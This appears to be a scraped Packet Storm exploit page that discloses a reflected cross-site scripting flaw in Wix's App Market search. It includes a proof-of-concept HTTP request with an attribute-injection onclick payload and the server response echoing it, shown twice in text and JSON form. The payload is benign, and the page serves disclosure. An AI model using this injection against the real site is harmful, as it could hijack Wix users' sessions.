📄 WIX.com Cross Site Scripting_PACKETSTORM:212863

Description

WIX.com appears to suffer from a cross site scripting vulnerability. The researcher contacted them months ago and they have ignored his report, so we are posting this to encourage them to address it and to let their users know that they could be...

Visit Original Source

Basic Information

ID PACKETSTORM:212863

Published Dec 16, 2025 at 00:00

Affected Product

Affected Versions ## Titles: WIX.com / market app Cross-site scripting (reflected)
## Author: nu11secur1ty
## Date: 8/27/2024
## Vendor: https://www.wix.com/
## Software: https://www.wix.com/market
## Reference: https://portswigger.net/web-security/cross-site-scripting

## Description:
The value of the query request parameter is copied into the value of an
HTML tag attribute which is encapsulated in double quotation marks. The
payload eq7ab"accesskey="x"onclick="document.location=1"//qkbzd was
submitted in the query parameter. This input was echoed unmodified in the
application's response.

STATUS: HIGH- Vulnerability

[+]PoC:
```
GET
/app-market/search-result?query=eq7ab%22accesskey%3d%22x%22onclick%3d%22document.location%3d1%22%2f%2fqkbzd
HTTP/1.1
Host: www.wix.com
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="24", "Google Chrome";v="139"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Content-Length: 0
```
[+]Response:
```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: XSRF-TOKEN=1755591144|Eg7emUWwe-IA; Domain=.wix.com; Path=/;
Secure; SameSite=Lax
Set-Cookie: _wixAB3=3477653#1; Max-Age=15724800; Expires=Tue, 17 Feb 2026
08:12:24 GMT; Path=/app-market/search-result; Domain=.wix.com
Etag: W/"280f9-gSC7iOcPNDT2CRThSwJyIPL8Re8"
Pragma: no-cache
Cache-Control: no-store, no-cache
X-Wix-Request-Id: 1755591144.079172597310943348307
X-Wix-Request-Id: 1755591144.079172597310943348307
Strict-Transport-Security: max-age=31536000
Server: Pepyaka
X-Content-Type-Options: nosniff
Accept-Ranges: bytes
Date: Tue, 19 Aug 2025 08:12:25 GMT
X-Served-By: cache-mxp6959-MXP
X-Cache: MISS
Vary: Accept-Encoding
X-Seen-By:
yvSunuo/8ld62ehjr5B7kA==,GilIRCy+Ky2nI9KZaDKzWLxkNjrXdwdgtu6E0yACibU=,yI4PPEXc3bvXNWfpzSkUarxkNjrXdwdgtu6E0yACibU=,m0j2EEknGIVUW/liY8BLLhltI8UMiPPDOVwaTrPHXCH8v8cBhCntPM7PcrIAnRiP,jdDt270t0fniy2BugWKBrcczmKBTV50ZIhnFmHyHs57I9wpXHBT6h1wfBN9ClwxEB2liM03bnUiF6lTGavdqtA==,TeEjV9lv7/HACQr2VMOeGw2Glp1kLqnecer2BlKK+IU=,b61bb5l8iKStMCYyOHGHzRnQM7J/rJ7uPqCFTHO1XctorBYDGeK3UgGvWP2Td4iX2A0xrElz8K0jvAxA68GNHA==,PD4YJOeir0FhY6Fl90bUjyPr+onDcVcE7HwIMshK4tA=,mvxQ9qSAmY38asKjFCcmG9fqwOC4CaktraAMWrC0uVj1OAazU43d/JllZoi5V6gBMOqF25aPBecVfgGQEnEHcw==
Via: 1.1 google
Glb-X-Seen-By: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

<!doctype html>
<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="content-language" content='en' />

<title data-meta-tags-aggr
...[SNIP]...
<meta data-meta-tags-aggregator="true" property="og:title" content="You
searched for eq7ab"accesskey="x"onclick="document.location=1"//qkbzd | Wix
App Market" />
...[SNIP]...
```

## Reproduce:
[href](https://www.patreon.com/posts/wix-com-xss-136830597)

## Demo PoC:
[href](https://www.patreon.com/posts/wix-com-xss-136830597)

## Time spent:
03:27:00

--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>

{
    "lastseen": "2025-12-16T18:55:07",
    "description": "WIX.com appears to suffer from a cross site scripting vulnerability. The researcher contacted them months ago and they have ignored his report, so we are posting this to encourage them to address it and to let their users know that they could be...",
    "published": "2025-12-16T00:00:00",
    "modified": "2025-12-16T00:00:00",
    "type": "packetstorm",
    "title": "\ud83d\udcc4 WIX.com Cross Site Scripting",
    "source": "",
    "references": "",
    "id": "PACKETSTORM:212863",
    "bulletinFamily": "exploit",
    "cwe": null,
    "cvelist": [],
    "sourceData": "## Titles: WIX.com / market app Cross-site scripting (reflected)\n    ## Author: nu11secur1ty\n    ## Date: 8/27/2024\n    ## Vendor: https://www.wix.com/\n    ## Software: https://www.wix.com/market\n    ## Reference: https://portswigger.net/web-security/cross-site-scripting\n    \n    ## Description:\n    The value of the query request parameter is copied into the value of an\n    HTML tag attribute which is encapsulated in double quotation marks. The\n    payload eq7ab\"accesskey=\"x\"onclick=\"document.location=1\"//qkbzd was\n    submitted in the query parameter. This input was echoed unmodified in the\n    application's response.\n    \n    STATUS: HIGH- Vulnerability\n    \n    [+]PoC:\n    ```\n    GET\n    /app-market/search-result?query=eq7ab%22accesskey%3d%22x%22onclick%3d%22document.location%3d1%22%2f%2fqkbzd\n    HTTP/1.1\n    Host: www.wix.com\n    Cache-Control: max-age=0\n    Sec-Ch-Ua: \"Chromium\";v=\"139\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"139\"\n    Sec-Ch-Ua-Mobile: ?0\n    Sec-Ch-Ua-Platform: \"Windows\"\n    Accept-Language: en-US;q=0.9,en;q=0.8\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n    (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36\n    Accept:\n    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n    Sec-Fetch-Site: none\n    Sec-Fetch-Mode: navigate\n    Sec-Fetch-User: ?1\n    Sec-Fetch-Dest: document\n    Accept-Encoding: gzip, deflate, br\n    Upgrade-Insecure-Requests: 1\n    Content-Length: 0\n    ```\n    [+]Response:\n    ```\n    HTTP/2 200 OK\n    Content-Type: text/html; charset=utf-8\n    Set-Cookie: XSRF-TOKEN=1755591144|Eg7emUWwe-IA; Domain=.wix.com; Path=/;\n    Secure; SameSite=Lax\n    Set-Cookie: _wixAB3=3477653#1; Max-Age=15724800; Expires=Tue, 17 Feb 2026\n    08:12:24 GMT; Path=/app-market/search-result; Domain=.wix.com\n    Etag: W/\"280f9-gSC7iOcPNDT2CRThSwJyIPL8Re8\"\n    Pragma: no-cache\n    Cache-Control: no-store, no-cache\n    X-Wix-Request-Id: 1755591144.079172597310943348307\n    X-Wix-Request-Id: 1755591144.079172597310943348307\n    Strict-Transport-Security: max-age=31536000\n    Server: Pepyaka\n    X-Content-Type-Options: nosniff\n    Accept-Ranges: bytes\n    Date: Tue, 19 Aug 2025 08:12:25 GMT\n    X-Served-By: cache-mxp6959-MXP\n    X-Cache: MISS\n    Vary: Accept-Encoding\n    X-Seen-By:\n    yvSunuo/8ld62ehjr5B7kA==,GilIRCy+Ky2nI9KZaDKzWLxkNjrXdwdgtu6E0yACibU=,yI4PPEXc3bvXNWfpzSkUarxkNjrXdwdgtu6E0yACibU=,m0j2EEknGIVUW/liY8BLLhltI8UMiPPDOVwaTrPHXCH8v8cBhCntPM7PcrIAnRiP,jdDt270t0fniy2BugWKBrcczmKBTV50ZIhnFmHyHs57I9wpXHBT6h1wfBN9ClwxEB2liM03bnUiF6lTGavdqtA==,TeEjV9lv7/HACQr2VMOeGw2Glp1kLqnecer2BlKK+IU=,b61bb5l8iKStMCYyOHGHzRnQM7J/rJ7uPqCFTHO1XctorBYDGeK3UgGvWP2Td4iX2A0xrElz8K0jvAxA68GNHA==,PD4YJOeir0FhY6Fl90bUjyPr+onDcVcE7HwIMshK4tA=,mvxQ9qSAmY38asKjFCcmG9fqwOC4CaktraAMWrC0uVj1OAazU43d/JllZoi5V6gBMOqF25aPBecVfgGQEnEHcw==\n    Via: 1.1 google\n    Glb-X-Seen-By: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=\n    Alt-Svc: h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000\n    \n    <!doctype html>\n    <html>\n    \n    <head>\n    \n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" />\n    <meta http-equiv=\"content-language\" content='en' />\n    \n    \n    <title data-meta-tags-aggr\n    ...[SNIP]...\n    <meta data-meta-tags-aggregator=\"true\" property=\"og:title\" content=\"You\n    searched for eq7ab\"accesskey=\"x\"onclick=\"document.location=1\"//qkbzd | Wix\n    App Market\" />\n    ...[SNIP]...\n    ```\n    \n    ## Reproduce:\n    [href](https://www.patreon.com/posts/wix-com-xss-136830597)\n    \n    ## Demo PoC:\n    [href](https://www.patreon.com/posts/wix-com-xss-136830597)\n    \n    ## Time spent:\n    03:27:00\n    \n    \n    -- \n    System Administrator - Infrastructure Engineer\n    Penetration Testing Engineer\n    Exploit developer at https://packetstormsecurity.com/\n    https://cve.mitre.org/index.html\n    https://cxsecurity.com/ and https://www.exploit-db.com/\n    0day Exploit DataBase https://0day.today/\n    home page: https://www.nu11secur1ty.com/\n    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\n                              nu11secur1ty <http://nu11secur1ty.com/>",
    "sourceHref": "https://packetstorm.news/download/212863",
    "cvss": {
        "score": 0,
        "severity": "NONE",
        "vector": "NONE",
        "version": "NONE"
    },
    "cvss2": [],
    "cvss3": {
        "version": "",
        "vectorString": "",
        "baseScore": 0,
        "baseSeverity": "",
        "attackVector": "",
        "attackComplexity": "",
        "privilegesRequired": "",
        "userInteraction": "",
        "scope": "",
        "confidentialityImpact": "",
        "integrityImpact": "",
        "availabilityImpact": "",
        "cvssV3": {
            "version": "",
            "vectorString": "",
            "baseScore": 0,
            "baseSeverity": "",
            "attackVector": "",
            "attackComplexity": "",
            "privilegesRequired": "",
            "userInteraction": "",
            "scope": "",
            "confidentialityImpact": "",
            "integrityImpact": "",
            "availabilityImpact": ""
        }
    },
    "href": "https://packetstorm.news/files/id/212863/",
    "category_name": "Exploit",
    "post_link": "",
    "product": "",
    "version": "",
    "vendor": "",
    "ai_description": "",
    "ai_severity": "",
    "ai_vendor": "",
    "ai_product": "",
    "ai_version": "",
    "ai_score": 0
}

Description

Basic Information

Affected Product

💭 Join the Security Discussion ❌ Cancel Reply